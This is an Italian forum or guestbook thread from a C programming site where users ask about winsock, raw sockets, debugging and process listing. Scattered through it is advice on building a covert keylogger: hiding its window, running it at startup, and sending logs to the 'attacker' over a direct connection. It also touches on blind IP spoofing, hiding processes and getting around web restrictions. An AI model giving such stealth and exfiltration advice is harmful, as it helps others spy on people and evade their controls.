Per John_Doe: Non ho capito cosa sia intendi per shell grafica...

Ciao!

Happyhacking: @ thenewsystem

Guarda su www.aleax.it e www.softzone.it

John_Doe: Qualcuno sa come sostituire e/o creare una shell grafica per windowsXP


TheNewSystem: Grazie mille per l' ftp... mi potresti anche indicare una guida in 
italiano(anche un libro se vuoi... sono disposto a uscire euro lol) che spieghi 
come programmare applicazioni windows visual C,una tipo questa: 
http://www.tglman.com/?p=20

Questa e' chiarissima ma non completa.

OSTREGA: <?php echo "MIZZECA" ?>

Komrade: Per Ing_mancato: Il server ti risponde una sola volta nel senso che ti 
invia una stringa di risposta e poi ti disconnete oppure ti invia un solo 
carattere? (questo te lo chiedo perché il protocollo telnet prevede l'invio di 
un carattere per volta) E se provi ad utilizzare un semplice client telnet 
(anche quello di windows) la connessione con il server rimane?

Per JiNG: Con il service pack 2 non è possibile utilizzare raw socket 
utilizzando il winsock di windows xp, prima dell' sp2 si, se si era 
amministratore, comunque ti sconsiglio l'utilizzo su windows, vista la facilità 
di implementazione su Unix.

Ciao!

scusami: http://www.uppo.it/storage/ea13104ba8fa1496cc6a4842ce7ea2f7.zip

ing_mancato: facciamo così vi spiego il mio problema per filo e per segno e poi 
così avrò la cosienza a posto... io devo scrivere del codice c per connetermi a 
un router lobometrics che monta sopra router os della mikrotik, pensavo che 
bastassero delle semplici socket e una connessione sulla porta 23 ma così non è 
il server mi risponde ma lo fa una sola volta e poi da picche non colloquia più. 
come posso fare?? si accettano suggerimenti. Grazie a chiunque volesse darmi una 
mano....

JiNG: è possibile usare le RAW-SOCKET in windows ?

PS: prova DoKu-Wiki, è carino, non necessita di DataBase xk' utilizza solo file 
di testo ed ha anche il Syntax-Highlight

http://wiki.splitbrain.org/wiki:dokuwiki

Ing_mancato: per giusy prova a vedere se su questo sito c'è quello che fa per te 
http://cs.baylor.edu/%7Edonahoo/practical/CSockets/winsock.html

Ing_mancato: come faccioa creare un client telnet con le winsock?? Io so già che 
c'è un server telnet in ascolto sulla porta 23 mi basta usare il programma 
client e connetermi a lui attraverso la porta 23 e le winsock?

Komrade: Se devi creare un client, prova a vedere qui: 
http://nbpfaus.net/~pfau/ftplib/ C'è una libreria semplice da usare per creare 
un client FTP.

TheNewSystem: Mi consigli una guida sulla gestione dell' ftp in C sotto 
windows??? Non so se devo implementare una libreria o se ci sono delle funzioni 
belle pronte per i winsock. GRAZIE e complimenti.

Komrade: Dopo una lunga assenza ho deciso di riprendere i lavori sul sito, 
perché ancora viene utilizzato e apprezzato, sto facendo del mio meglio per 
riuscire ad aggiungere materiale il prima possibile. Per ora ringrazio chi ha 
dato la propria disponibilità, appena avrò bisogno mi farò sentire...

Risposta a Nedo: WM_QUERYENDSESSION è il messaggio che Windows invia alle 
finestre quando la sessione viene chiusa, quindi può essere utilizzato per 
testare la chiusura di Windows.

Risposta a giusy: Non ho capito la tua richiesta...

Risposta a Ing_Mancato: Il programma server va eseguito passando come parametro 
la porta su cui il server deve mettersi in ascolto. Puoi scegliere tu la porta 
che preferisci.

Risposta a mattikk: Non ho capito la tua richiesta...

Risposta a JING: Grazie per l'idea, in effetti mi piacerebbe una cosa del genere

Ciao a tutti!


JiNG: Metti su un Wiki , io apprezzo moltissimo le info ^__^ continua così

mattikk: ..è chiedere troppo una sorgente per un antivirus?

Ing_mancato: una domanda facile facile per te komrade, nel tuo programma server 
delle winsock cosa bisogna mettere per farlo partire e farlo funzionare 
corretamente?? argv [0] è il nome del programma, e argv[1] lì ci andrà la porta 
ma non è la 23 di default? ti prego mi servirebbe questa manona!! grazie

giusy: è possibile avere un esempio di TCPEchoClient e TCPEchoServer, però in 
windows?? grazie

Nedo: Salvo incomprensioni riposto la domanda: quello che cerco è come 
riconoscere quando windows termina (oppure un programma che so io 
explorer.exe)Così posso fermare il mio programma che fa dei log prima che 
termini la sessione… Ho sentito parlare del messaggio WM_QUERYENDSESSION ma si 
riferisce solo al c++ Grazie

Nedo: Inanzitutto complimenti per il sito, ero interessato al keylog e l'ho 
pensato così: dllinjection,invio email(nel caso config.bak non c'è o non c'è 
connessione salta l'invio), keylog. Il problema è che keylog dovrebbe terminare 
prima o poi, pensavo che la chiusura di windows fosse sufficiente, ma mi viene 
una schermata con scritto termina processo..., ho provato a farlo terminare 
cercando con la trovaPid() quando un processo (es msn) viene terminato ma mi 
mangia letteralmente la memoria(già provato con la free():( ). Non c'è un 
segnale che manda windows quando termina così posso uscire dal famigerato while 
(1) verificando questo segnale? spero di essere chiaro, grazie a tutti. ciao.

Happyhacking: Perche devi linkare la libreria. E' qualcosa tipo "licomctl32.a"

mamo139: ciao ragazzi... davvero complimenti per il sito...

volevo solo dirvi che ho provato a compilare privatechat con devc++ e mi da 
questo errore... `INITCOMMONCONTROLSEX' undeclared (first use in this function) 
come mai??? grazie mille ciao!!!

Ciak0: Ciao, complimenti per il sito, molto interessante soprattutto l'inject, 
avevo visto anche un esempio in VB online... Volevo avvisarvi che per la ricerca 
di tutti i processi in esecuzione nel sistema si possono usare altre API e 
strutture molto più semplici, presenti nel kernel.

Le funzioni da usare sono:
CreateToolhelp32Snapshot()
    Process32First()
    Process32Next()
La struttura dati per le info Processo è: PROCESSENTRY32.

Create un progretto non MFC, console...
Un semplice esempio è questo:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

void main(void)
{
OSVERSIONINFO osinfo;
osinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

if (!GetVersionEx(&osinfo))
    {
        printf("Unable to get OS version!\n");
        return;
    }

if (osinfo.dwPlatformId & VER_PLATFORM_WIN32_NT)
{
        // we are running on NT, so make sure its
        // NT 5.0 or greater...
    if (osinfo.dwMajorVersion<5)
    {
     printf("ToolHelp API isn't support on NT versions prior to Windows 2000!\n");
    return;
    }
}

    HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if (!hSnapshot)
    {
        printf("Unable to create snapshot!\n");
        return;
    }


    PROCESSENTRY32 pe;
    ULONG count=0;

    // inizializza struttura
    pe.dwSize=sizeof(PROCESSENTRY32);
    BOOL retval=Process32First(hSnapshot,&pe); //Primo processo

    while(retval) //Finchè trovi
    {
        count++; //Si possono utilizzare tutte le info che si vogliono
//su pe
        printf("[%08X] %s\n",pe.th32ProcessID,pe.szExeFile);
        retval=Process32Next(hSnapshot,&pe); //Next
    }

    CloseHandle(hSnapshot);
}

Spero vi possa servire. Ciao!
 Dave88: Allora, punto primo, grazie...grazie per aver fatto una guida chiara e 
 semplice sui Socket, la prima guida da cui sono riuscito a capirli.

Ora pero vorrei chiederti una cosa: Sto cercando(inutilmente) di fare un timeout 
sul connect()...ma non ci riesco in nessuna maniera, se mi dai qualche dritta, 
magari un esempiuccio...ti faccio un poster...Ciao ^__^

sn0z33r: ciao, sono sempre io :P Devo dire che da quando ti ho scoperto (ormai 
ne e' passato di tempo :P) un giretto nell'area notepad del sito lo faccio 
spesso e volentieri, quando la sera ho 5 minuti prima di andare a letto. Veniamo 
al punto... che il sito non sia piu' aggiornato e' davvero un peccato, c'e' da 
dire che cmq il sito e' nato come raccolta di tuoi essay ed e' tutto codice che 
ci hai messo a disposizione. A me personalmente piacerebbe poterti aiutare pero' 
vorrei prima chiederti se hai gia' in mente qualcosa, cosa contavi di fare e 
soprattuto come potrei aiutarti :P perche' non credo di essere all'altezza di 
scrivere articoli mantendo il livello qualitativo e di interesse che tu hai dato 
ai tuoi (o almeno adesso non mi viene in mente niente) sappi cmq che sono 
disposto a rendermi utile in qualche modo :P quindi ora ti ripasso la palla e 
sento cosa mi dici :P Questa settimana e' probabile che quei famosi 5 minuti 
prima della nanna non li avro' perche' oggi ho dato analisi elementi e giovedi' 
devo dare reti 2 basi di dati elementi e algoritmi e strutture dati, piu' un 
eventuale modulo di programmazione (che non ho ancora deciso :P) quindi se non 
mi senti prima di venerdi' non darmi per disperso :P n8

Giova: Grazie per l'aiuto Komrade. Per fortuna non devo fare alcuna modifica ai 
orgenti del mio programma. Tanx

Happyhacking: Per me quella del nuovo sito è un'ottima idea :-)

Komrade: Risposta a Happyhacking e Newbie: Come giustamente ha fatto notare 
sn0z33r potete scegliere voi il modo che preferite per ricevere sul vostro 
computer i dati raccolti dal keylogger, sicuramente la connessione diretta è il 
metodo più sicuro, il problema degli ip dinamici potrebbe essere risolto 
cercando il vostro pc tra gli ip del provider, con un opportuno programma in 
ascolto su di una porta del vostro pc. Si può anche inviare una mail, ma 
sicuramente questo è un metodo meno sicuro del precedente.

Risposta a Giova: Leggendo nella man page di gethostbyname()...

struct hostent *gethostbyname(const char *name);

The gethostbyname() function returns a structure of type hostent for the given 
host name. Here name is either a host name, or an IPv4 address in standard dot 
notation, or an IPv6 address in colon (and possibly dot) notation. (See RFC 1884 
for the description of IPv6 addresses.)

Quindi è possibile passare sia l'hostname che l'host address, la funzione 
svolgerà in entrambi i casi il suo lavoro correttamente.

Risposta per Leon: Ti consiglio di utilizzare la getline() che legge un'intera 
linea da riga di comando finché non viene trovato il carattere di fine linea o 
non viene raggiunto un limite di caratteri passato come parametro. 
http://www.cplusplus.com/ref/iostream/istream/getline.html

Ciao!


Leon: Ciao a tutti, ho iniziato da poco a programmare in C. Ho un problema con 
la gestione delle stringhe. Mi spiego: Devo passare una stringa in imput che 
contiene degli spazi(almeno uno). Il problema sta nel fatto che le normali 
funzioni C considerano i valori passati come due o più stringhe, se ci sono più 
spazi. La domanda è: esiste qualche funzione che prende dallo standard imput 
stringhe che contengano spazi????????? Grazie a chiunque risolverà i miei 
problemi...

Giova: Ciao Komrade, scusa se ti disturbo ancora. Vorrei scrivere un 
applicazione per Windows da usare sotto shell che riceve come primo parametro 
della linea di comando un indirizzo internet al quale l'applicazione deve 
connettersi. Per far questo uso gethostbyname. Se invece di passare come primo 
parametro il nome del host da raggiungere passo l'ip del host, l'applicazione 
funziona oppure devo sistemare qualcosa? Grazie.

sn0z33r: ragazzi quando codate voi potete fare tutto quello che volete..... 
mandarvi una mail, un messaggio su msn o su icq o su irc insomma TUTTO...

Happyhacking: C'e un qualche altro modo invece che telnet ???????

Newbie: Si anchio sto pensando come farmi arrivare i log. Come posso fare? Si 
potrebbe usare tenet per inviare il log per posta? O salvare il log su un file 
in uno spazio web preimpostato?

Happyhacking: Komrade una domanda. Come posso far comunicare il keylogger con il 
pc dell'"attaccante" ???? Mail ??? Aprendo una connessione diretta ??? E se i'IP 
è dinamico ???

Giova: Grazie Komrade, è proprio quello di cui avevo bisogno!!!! I miei 
complimenti! Ci sono un sacco di cosette interessanti, compreso il sorgente di 
un programma che lista tutti i processi, i thread e le dll in esecuzione sulla 
macchina, compresi i relativi path... Very Good!!! Grazie ancora,Ciao!

Komrade: Per Giova: La funzione che ritorna un elenco con i nomi dei vari 
processi che sono in esecuzione è la stessa per cercare il PID dei processi 
attivi ed è la ntQuerySystemInformation(), mentre per sapere il path questo 
articolo ti può essere di aiuto: 
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/perfmon/base/enumerating_all_modules_for_a_process.asp

Per Luca: Sei siucro che non faccia niente? Ho provato, eseguendo il file 
all'avvio viene creato il file config.bak nella directory "Documents and 
Settings\Nome_utente". Prova a modificare il sorgente nella #define LOGFILE e 
mettere un path (ad esempio "c:\config.bak") e il file ti dovrebbe comparire in 
c:\

Ciao!!!

Happyhacking: Scuasa luca non è che posteresti il codeice per aggiungere il 
virus all'avvio ?!?!?

luca: Ciao a tutti, Complimenti agli ideatori di questo sito. Ho un piccolo 
problema con il programma keylogger, riesco a compilarlo senza problemi, se lo 
avvio cliccandoci su 2 volte funziona perfettamente, ma se lo metto in 
esecuzione automatica all'avvio del sistema operativo(sfruttando il registro di 
sistema), non funge. Se richiamo il taskmanager il processo keylogger è 
presente, ma in realtà non fa niente. Suggerimenti????????

Happyhacking: Hai ragione funziona !!!!!

Giova: Ciao a tutti. Vorrei sapere se oltre alla funzione per ottenere un handle 
per un processo specifico in memoria, esiste una funzione che ritorna un elenco 
con i nomi dei vari processi che sono in esecuzione(Vorrei creare una specie di 
tskmanager). E se non chiedo troppo, vorrei sapere se esiste una qualche 
funzione che in qualche modo ritorna il path del file che ha generato quel 
processo. ES. se ho in memoria il processo pioppo.exe, esiste una funzione che 
mi ritorna qualcosa tipo: C:\path di pioppo\pioppo.exe??? Spero di essere stato 
chiaro. Grazie

Komrade: Se crei una "Windows Application" al posto di una "Console Application" 
la finestra DOS non compare. Ciao

Happyhacking: Come faccio per il keylogger a nascondere la finestra del DOS ??? 
Ho provato a creare una finestra con SW_HIDE (che me la nasconde) ma la finestra 
del DOS rimane, perche ???

ToM: avevo 4.7.9.0 una kosa del genere..

Happyhacking: Che versione avevi ? La beta della 5 per caso ???

ToM: X komrade, ho risolto grazie tante, era un errore nella mia versione di dev 
c++.. ora ho preso una nuova ed è tt ok..

ToM: komrade ti ringrazio per la risposta ma il fatto è che quando inserisco il 
breackpoint(si evidenzia la linea in rosso), ma poi premendo F8 il programma mi 
da direttamente il risultato finale senza fermarsi...Potrebbe essere un errore 
del dev c++?? o c è qualke altra cosa ke devo fare?

Komrade: Per ToM: Per il debug con Dev-c++: inserisci un breakpoint all' inizio 
del programma, premendo F8 entri nella finestra di debug e poi vai avanti con F7 
(oppure puoi utilizzare il menu Debug)

xor: gcc dalla shell se usi linux funziona sicuro

www.shockside.org:81/~xor/

Postate ne guestbook

Animanera: ciao a tutti, visto il crollo di razorback su emule causa autorita', 
sto cercando, con un gruppetto di amici, di realizzare un client p2p che sia 
sicuro al 100% utilizzando algoritmi di crittografia e di routing adeguati. x il 
momento e' solo un'idea, anke se piuttosto definita. se qualcuno di voi e' 
interessato e ha un po' di tempo da perdere, mi puo' contattare via mail a 
"an1m4n3r4@hotmail.com", o mi puo' aggiungere direttamente ai suoi contatti. x 
il momento l'idea era quella di svilupparlo in c#, ma se riusciamo a riunire 
parecchie persone possiamo trovare soluzioni piu' valide :P visto ke il tempo 
scarseggia un po' a tutti, + siamo meglio e'. fatemi sapere :) ciao ciao

ToM: Raga Vi prego qlkuno può aiutarmiii. . .

PppPppPpp: Come faccio a mandare i messaggi?

AleXHacking: Spettacolo sto sito!!

Happyhacking: Bellissimo sito complimenti !!!! :-)

ToM: vorrei visualizzare di tanto in tanto il valore delle variabili, come 
facevo in VB6 premendo F8...nn so se rendo l idea! quando xo lo faccio in C il 
programma si esegue normalmente senza fermarsi, anke se metto dei punti di 
Breakpoints..

sn0z33r: intendi usare gdb o no ? poi io rimango dell'idea che il debugging 
tramite printf() sia valido :P se hai bisogno di controllare delle variabili in 
particolare o te le stampi oppure metti un watch sulla variabile.. se hai 
bisogno di altro chiedi pure :)

ToM: Ragazzi visito x la prima volta questo sito... Nn so se posso domandare, ma 
c è quelkuno ke mi potrebbe aiutare con il debug in dev c++?? non riesco a 
kapire kome funziona. . .ve ne sarei grato

pinco pallino: grazie komrade

Komrade: per pinco pallino: Guarda qui: 
http://groups.google.it/group/it.comp.os.linux.development/browse_thread/thread/
ce6eab1a2ff533d2/fff5a4a6b6392a8e?lnk=st&q=compilatore+%22ambiente+integrato%22+
linux&rnum=2&hl=it#fff5a4a6b6392a8e

Comunque vi + gcc ti offrono già tutto ciò di cui hai bisogno

per Great2: le winsock sono già presenti come header e librerie nel tuo 
compilatore, non devi cercare niente hai già tutto

per Animanera: Se tcpdump non ti basta puoi utilizzare ethereal che è completo e 
facile da usare

per neo: Come rendere la recv() non bloccante è scritto nel tutorial 
"Programmazione delle socket", cerca quando si parla del programma 
"bannerscan.c" e guarda anche il codice di quel programma

per tutti: Ringrazio tutti quelli che hanno portato avanti questa pagina nella 
mia assenza e se non ho risposto a qualcuno chiedete pure nuovamente. (Sono 
rimasto assente troppo a lungo!!!) Ciao a tutti.

Komrade: Se tu avessi un minimo di buonsenso, capiresti che queste informazioni 
non sono illegali, se vuoi in privato ti posso anche spiegare il perché visto 
che da solo non ci arrivi. Ti prego di non disturbare la polizia postale con le 
tue inutili segnalazioni perché sicuramente avranno cose molto più importanti da 
fare. Ma se queste cose per te non sono interessanti, piuttosto che scrivere 
queste idiozie, perché diamine non ti metti a fare qualcosa di meno stupido e 
più divertente?

------------------: Ma perché diamine non vi mettete a far qualcosa di meno 
illegale e più divertente? Un disclaimer non basta. La cosa verrà segnalata 
debitamente alla polizia postale.

pinco pallino: ciao a tutti.conoscete per caso qualche compilatore sotto linux 
in ambiente integrato, come per esempio dev-c++ per win? Grazie in anticipo

Great2: salve a tutti sto iniziano ora a programmare con le winsock come 
programma usa dev c++ sapete dove posso trovare le winsock dato ke nn sono 
incluse .........

Animanera: x banni: le api che controllano il registro le trovi sull'msdn. 
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/sysinfo/base/registry_functions.asp

x tutti: sapete cm si fa a usare tcpdump cm se fosse tcpflow? o senno' cosa mi 
consigliate x packet sniffing?

ciao ciao

banni: Ciao a tutti. Devo creare un applicazione per Windows in C che dovrebbe 
utilizzare alcuni valori del registro di sistema... Qualcuno sa quali sono o 
dove trovare le API per il C per confrontare, creare e cancellare chiavi del 
registro di sistema? Grazie anticipatamente

neo: ciao...ottimo sito veramente!!!!!Voevo chiederti una cosa.....C'e' qualche 
modo per rendere la funzione recv() non bloccante?? Grazie

banni: Grazie sn0z33r, cmq quando parlavo di kde intendevo il kdevelop, scusami 
mi sono espresso male... Prossimamente cercherò di riportare l'errore che 
occorre puntualmente nella compilazione dei programmi, anche se credo che si 
tratti di qualche problema del compilatore e non di un mio errore visto che 
prima fungeva ed ora non riesce a compilare nemmeno i programmi "hello world" 
che il kde da già pronti.E lo stesso vale per il gcc... poi non ho fatto altro 
che provare a compilare i programmi di komrade per l'invio di pacchetti tcp e 
udp, e tranne se non sto rinco****nendo quelli sono per linux... Cmq come detto 
il problema non sono i sorgenti che provo a compilare dato che con qualsiasi 
sorgente l'errore è sempre lo stesso. Grazie di tutto, ciao

sn0z33r: ok, ora sei stato decisamente piu' chiaro :P io direi che la miglior 
risposta te la puo' dare solo l'rfc del protocollo udp che e' cmq facile da 
reperire, oppure su un libro di reti.. il tanenbaum puo' essere un esempio, ma 
sempre meglio l'rfc. In sostanza coi raw socket hai la possibilita' di crearti 
tu il pacchetto, quindi per crearlo non devi far altro che scoprirne la 
struttura (che tra l'altro non e' nemmeno complessa). Fai attenzione pero' su 
windows xp sp2 se non ricordo male i raw socket sono stati disabilitati insieme 
al numero max di connessioni contemporanee che puoi eseguire. PS... su linux, 
apparte che kde non e' un compilatore ma e' un window manager, per compilare 
sorgenti c devi usare gcc (info sull'utilizzo da bash man gcc) da bash, oppure 
g++ per sorgenti c++ (man g++ sempre :P). Le regole son sempre quelle, basta 
scrivere i sorgenti in un file di testo non formattato. Se preferisci usare 
qualche tool grafico su kde c'e' l'ottimo kdevelop , con le sue varie dipendenze 
da installare anch'esse :P. Inoltre c'e' da dire che i socket sono nati su linux 
e poi copiati brutalmente con routine di inizializzazione differenti col nome di 
winsock :P. Ora non credo (o almeno spero :P) che tu non abbia provato a 
compilare lo stesso identico sorgente per win in ambiente linux, pero' non si 
sa' mai :P (LOL). Se sei in questo caso come minimo devi cambiare gli header e 
la routine di inizializzazione, poi bind send ect ect rimangono identiche ;) cmq 
tutte le info del caso le puoi trovare sul gapil che ti ho gia' consigliato :P

PS komrade potrei iniziare a prendendere lo stipendio xD (LOL) [ovviamente 
scherzo :P] PSS banni, scusa se erroneamente ti ho rispondo come avrei rispondo 
a un principiante (non che io sia molto piu' di quello :P) pero' tu non hai 
postato nemmeno l'errore che ti da :P

banni: Ciao sn0z33r, ti ringrazio per l'aiuto. Cmq ho già dato un'occhiata alla 
programmazione con i normali socket di rete e so che per inviare dati si possono 
usare le funzioni send o send to, ecc. ecc. Io ero più che altro interessato a 
provare qualcosa tipo una connessione spoofata,supponendo che io sia in grado di 
prevedere syn e ack... Credo che si chiami spoofing alla cieca... Ora, se non ho 
capito male (perdonatemi eventuali errori) dovrei creare un programmino che 
usando le raw socket invii uno dopo l'altro i miei pacchetti con ip spoofato. 
Quello che mi chiedevo è questo(scusate se non mi sono spiegato bene prima): 
prendendo in esempio il programma di Komrade per inviare pacchetti tcp,una volta 
create le intestazioni del pacchetto, gli eventuali dati da inviare, vanno 
accodati al vettore buffer del programma? Se no, come si fa ad inserire i dati 
dopo le intestazioni??? Spero di essere stato chiaro. Ah poi ho un grave 
problema con linux(Slackware10.1)... Non riesco a compilare nulla ne con KDE,ke 
mi da sempre lo stesso errore qualsiasi programma io compili, ne da linea di 
comando(gcc).Suggerimenti? Scusate per il disturbo e grazie a tutti!

sammy: salve ragazzi, dovrei tenere traccia,attraverso un modulo del kernel, dei 
mac address in una lan. COsa mi consigliate? Ho pensato ad una lista (list 
kernel) voi che ne pensate?

sn0z33r: ciao banni, ti rispondo io che ormai sono un assiduo frequentatore 
della sezione notepad del sito di komrade :P poi al max ti rispondera' lui con 
maggior precisione. Sia che tu lavori usando il protocollo udp o tcp per inviare 
dati devi cmq usara la funzione send() la cui interfaccia per utilizzarla e': 
send(SOCKET s, char *buffer, int length, int flag) dove SOCKET s e' una 
struttura socket che hai gia' connesso, char *buffer e' un puntatore a stringa, 
int length e' la lunghezza in byte della stringa puntata da *buffer (che puoi 
ottenere includendo tra gli header anche string.h per invocare sizeof(char 
*buffer)), int flag e' una variabile che puoi utilizzare il modo in cui chiami 
la funzione (di norma passare 0 va bene, se vuoi vedere le possibilita' ti 
rimando all'msdn se lavori su windows o al gapil se lavori su unix like) ed e' 
tutto... l'unica differenza di utilizzo tra udp e tcp, oltre ovviamente al 
protocollo che funziona diversamente :P sul sorgente devi inizializzare il 
socket per un protocollo o per l'altro utilizzando le costanti dichiarate in 
winsock.h :P un saluto nella speranza di non aver detto cazzate :P

banni: Ciao Komrade. Anzitutto complimenti per il sito. Volevo farti una 
domanda... Ho dato un occhiata veloce al programma per la generazione di 
pacchetti tcp, solo che mi sfugge una cosa... Dove inserisco i dati che intendo 
inviare con il pacchetto? Per esmpio una stringa di caratteri o qunt'altro... 
Grazie anticipatamente e buon lavoro

mouse82: Grazie Komrade per questi appunti..... Mi sono utilissimi. In caso di 
chiarimenti mi faccio sentire

sn0z33r: apparte che se avessi letto bene avresti scoperto che in linea di 
massima i sorgenti sono compilabili con qualsiasi compilatore, ma "deRv-c++" 
(?????) [forse dev-c++ ?] non e' quello che ha utilizzato lui. Poi continuo a 
non capire perche' chi non sa nemmeno le basi del c si immerge in argomenti 
avanzati.. bah contenti voi di capirci un cazzo e limitarvi a fare copia incolla 
dei source beh.. allora contenti tutti ciao ciao ;)

pippo86: Come mai il codice dll injection con derv-c++ non funge! si potrebbero 
avere maggiori informazioni/chiarimanti in merito alla questione della mancata 
comparsa della Messagebox. grazie ciao

Komrade: Sei sicuro che la dll che hai creato per l'injection venga trovata? La 
dll dovrebbe stare o nella directory dove esegui injection o nella system32. 
Ciao

marco: Complimenti per le tue guide......sono alle prime armi con il c++....Ho 
provato codeinjection ,creato la libreria,ma quando parte mi dice nel log : 
Creati 7 bytes all' indirizzo 0xb00000 Injection eseguita Ma non succede 
nulla.......

Komrade: Risposta per Neo0101: Gli errori che ti compaiono sono presenti perché 
per poter creare il file eseguibile devi linkare la libreria wsock32.lib. Guarda 
tra le opzioni del tuo compilatore (cerca dove si aggiungono le librerie per il 
linker) ci deve essere la voce per poter aggiungere una libreria al progetto.

Risposta per nessuno: Non ci sono delle funzioni C in particolare, ti consiglio 
di trovare più informazioni possibili su come vengono bloccati i siti e cercare 
il metodo per fregarlo (per esempio con un proxy), sempre che ne vslga la pena. 
Ciao!

Neo0101: Ho scaricato dalla sezione dei winsock i 2 sorgenti: client e 
server...ma quando compilo mi da i seguenti errori: [Linker error] undefined 
reference to `WSAStartup@8' [Linker error] undefined reference to `socket@12' 
[Linker error] undefined reference to `htons@4' [Linker error] undefined 
reference to `connect@12' perchè?!?!! in cosa sbaglio???



nessuno: Ciao,

ho un problema: sui dei PC (in rete) è installato WinXp SP2 Pro. Alcune utenze 
hanno dei limiti per quanto riguarda la navigazione in Internet: possono 
visitare solo alcuni siti. Da quali funzioni C devo partire per buttare giù un 
programma che mi consenta di abbattere questa "barriera"? Grazie!

Animanera: ringrazio e ricambio. Auguri a tutti!!

sn0z33r: auguri anche a te komrade ;)

Komrade: Auguri a tutti di buone feste

Vincenzo: Il sito è buono, ma il tutorial sui socket è un po troppo 
superficiale.

Batman: Ciao a tutti ! Ho visto che fino a Windows 98 era possibile tramite una 
funzione del Kernel32 (RegisterServiceProcess) rendere invisibile un processo 
allo stesso Task Manager. Ora non lo è più. Qualcuno è ha conoscenza di una 
funzione simile, operativa nei nuovi O.S.? Molto interessante l'articolo sul 
code injection.

WWW.LEONAPSTER.TK: BEl sito! uno cosi lo cercavo da tanto!!!

CMq... ke compilatore usate?qual'è il meglio?ossia il più semplice a creare un 
.exe? da dove lo posso scaricare???????? risp o qui o possibilmente a 
leonapster@hotmail.it(ve ne sarei molto grado)

Tex: Scusate, avrei un argomento da proporre: Viste le mie pressochè nulle 
conoscenze del c, alcune cose sugli winsock non mi sono chiare, come per esempio 
il funzionamento dei recv().. ho cercato su internet ma non ho ancora trovato 
una guida (in italiano) che mi facesse capire bene l'invio e ricezione dei 
pacchetti... Io proporrei una guida basata esclusivamente su queste cosette 
(tempo permettendo), cosi da permettere anche a users del mio livello di capire 
meglio.. Ciau e Grazie in anticipo!

Scg: ottimo sito...complimenti veramente

Giorgio: Per Animanera, ok, mi sono spiegato da cani... devo impostare, da un 
programma C, l' indirizzo IP statico, a una scheda di rete LAN, che si trova 
pre-impostata in DHCP. Le funzioni trovate, non mi permettono molte operazioni 
in real-time, motivo per cui sono arrivato ad usare una chiamata netsh, che però 
risponde a "babbo morto", in quanto il tempo di risposta dipende da quanto è 
congestionato il PC su cui si esegue l' operazione. Per quanto riguarda il 
sentire lo stato del modem, il modem invia sulla porta di connessione 
(tipicamente una COM) un segnale di "RING", se è impostato in modalità verbose o 
un numero (che non ricordo) per indicare la chiamata in arrivo, se te invii il 
comando "ATH", rispondi in voice modem, poi devi aprire un canale di streaming 
sul canale audio per l' invio dei messaggi. Ti posto il link dei comandi AT: 
http://members.tripod.com/michaelgellis/modem.html che sono inclusi in ogni 
modem, ma se cerchi su google: 
http://www.google.it/search?hl=it&q=modem+AT+command&btnG=Cerca&meta= Trovi 
moltissimo. Sappi che tra Linux e Windows, i canali audio si gestiscono in modo 
differente. Ciao

Giorgio

Animanera: a proposito di connessioni, qualcuno di voi sa come implementare un 
modem responder in c? praticamente voglio fare questo: chiamando da un qualsiasi 
numero il mio numero di casa vorrei che dopo un certo numero di squilli entrasse 
in funzione il modem (tipo segreteria) e che mi mandasse delle informazioni 
vocali diverse a seconda di alcune condizioni. so ke e' una cosa abbastanza 
strana, ma sarebbe molto utile e divertente saperne di + :) se ne sapete 
qualcosa o avete qualke link interessante postate!!

ciao ciao

Animanera: ciao Giorgio, cosa vuol dire ke devi settare un indirizzo statico 
passando x il dhcp? a qnt ne so o usi il un client dhcp o assegni l'indirizzo 
statico, in quanto il client dhcp riceve l'ip dal server dhcp. se invece hai un 
server dhcp, l'indirizzo statico lo puoi settare da: start --> impostazioni --> 
connessioni di rete --> poi clikki col destro sulla tua connessione --> 
proprieta' --> seleziona "protocollo internet (tcp/ip)" --> seleziona "utilizza 
il seguente indirizzo ip" --> specifica l'ip (in genere 192.168.0.1 o simili) e 
la subnet mask (in genere 255.255.255.0 o simili). se nn funziona in questo modo 
posta altre specifiche tipo: il tipo di connessione ke devi effettuare a cosa ti 
devi connettere la natura della LAN (se devi fare una connessione LAN) e tutti 
gli altri dettagli ke ti vengono in mente ke possono sempre essere utili :P

spero di essere stato d'aiuto :) ciao ciao


Giorgio: Hi All, Comlpimenti per il sito, avrei una domanda veloce, sotto Win Xp 
Pro Sp2, devo settare un' indirizzo IP statico su una scheda di rete passando 
dal DHCP. Ho provato con la netsh, ma è lentissima, io ho la necessità di 
eseguire il settaggio in maniera veloce (2/3 sec. max). Se avete suggerimenti... 
Ciao e grazie Giorgio

gemma: ciao complimenti per il sito. io ci sono venuta per imparare i socket


Blanka: Salve ragazzi, vorrei sapere se esiste un sito simile a questo, però 
orientato alla programmazione in vb.net, è da giorni che sto provando a 
utilizzare le icone di windows xp, quelle con canale alpha (32 bit), ma non 
riesco, infatti utilizzando il metodo 'Add' della 'imagelist', il canale alpha 
va perso e le icone non vengono visualizzate correttamente... inutile dire che 
ho una neuro da cineteca.

Grazie.

Animanera: nn avete capito quello ke intendevo dire... leggete attentamente 
prima di rispondere e rispondete a cio' ke vi si chiede, pls altrimenti e' solo 
una perdita del vostro e del mio tempo...



cicciociccio: penso ankio ke la soluzione del sito va bene....come si fanno a 
mandara le email col socket???fakemail.c nn l'ho ben capito...mi potete 
aiutare??

ciao

Blanka: X tutti: chi di voi può aiutarmi con VB.NET? Non riesco a capire come 
ca...o si usano i file risorse... qualcuno sa come fare? Non è più come in 
vb6...

Grazie

Blanka: X cicciociccio: se vuoi il tuo ip pubblico il sorgente che hai postato e 
che dici funzionante va benissimo. Credo che sia l'unico modo per sapere il tuo 
ip pubblico.

#include <winsock.h>
#include <stdio.h>
#include <wininet.h>

#pragma comment (lib,"wsock32.lib")
#pragma comment (lib, "wininet.lib");

int main(){

HINTERNET hi, hiu;
char buffer[20], *s;
unsigned long br;

hi = InternetOpen("MyIPTest", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hiu = InternetOpenUrl(hi, "http://pchelplive.com/ip.php", NULL, 0, 0, 0);
InternetReadFile(hiu, buffer, sizeof(buffer), &br);
s = strstr(buffer, " ");
*s = 0;
printf("Il tuo ip e':\t%s\n",buffer);
scanf("%d");
InternetCloseHandle(hi);

WSACleanup();

}


